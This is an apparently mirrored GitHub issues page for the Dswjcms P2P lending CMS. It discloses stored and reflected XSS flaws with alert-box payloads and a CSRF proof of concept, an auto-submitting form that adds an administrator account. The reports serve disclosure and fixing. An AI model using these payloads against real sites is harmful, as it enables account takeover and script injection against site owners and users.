GithubHelp home page GithubHelp logo

tifaweb / dswjcms Goto Github PK

View Code? Open in Web Editor NEW
119.0 119.0 89.0 7.94 MB

Dsp2p是针对个人和个人的借贷推出的免费p2p开源项目,基于Thinkphp架构的行业系统,全自动安装模式,快速搭建P2P网站。(Dsp2p is personal and individual borrowing free p2p open source projects, based on Thinkphp framework of industry system, fully automatic installation mode, fleetly p2p web site.)

Home Page: http://www.dswjcms.com

PHP 62.34% HTML 17.49% CSS 10.40% JavaScript 9.52% HCL 0.02% Smarty 0.22%

dswjcms's People

Contributors

tifaweb avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dswjcms's Issues

There is a Stored-XSS vulnerability in Dswjcms 1.6.4

A Stored-XSS vulnerability exists in Dswjcms 1.6.4, allowing an attacker to execute HTML or JavaScript code via the index.php/Dswjcms/Site/articleList.html

PoC:
<img src=x onerror=alert(/xss/)>
Add an article
image
image
Execute JavaScript code
image

There is a CSRF vulnerability in Dswjcms 1.6.4

A CSRF vulnerability exists in Dswjcms 1.6.4, allowing an attacker to add administrator users via the index.php/Dswjcms/User/tfAdd

After the administrator user logged in ,open the following page that can add a administrator user
Exp:

<html>
<body>
<form id="csrf" name="csrf" action="http://127.0.0.1/index.php/Dswjcms/User/tfAdd" method="POST">
<input type="text" name="q" value="am" />
<input type="text" name="u" value="%2Findex.php%2FDswjcms%2FUser%2Fmanage.html" />
<input type="text" name="username" value="admin3" />
<input type="text" name="email" value="[email protected]" />
<input type="text" name="password" value="admin3" />
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>

image

There is a Stored-XSS vulnerability in Dswjcms 1.6.4

A Stored-XSS vulnerability exists in Dswjcms 1.6.4, allowing an remote attacker to execute HTML or JavaScript code via the index.php/Dswjcms/Basis/links

PoC: "><script>alert(/xss/)</script><a
Add a Friendship Links
image
image
Execute JavaScript code
image

[security vulnerability] Cross-Site Scripting (XSS) vulnerabilities

Recently, our team found a reflected cross-site scripting (XSS) vulnerability The vulnerability logic is present in the file:
https://github.com/tifaweb/Dswjcms/blob/master/Public/editor/php/demo.php#L45
image
The echo directly outputs the parameter $htmlData without any sanitization, which comes from the POST parameter $_POST['content1'] in L7. This makes it susceptible to Cross-Site Scripting (XSS) attacks. As a result, attackers can exploit this vulnerability by injecting malicious html code with $_POST['content1']. To fix this vulnerability, we recommend that developers implement properly sanitization (e.g., htmlspecialchars()) for user input before displaying it on the webpage.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.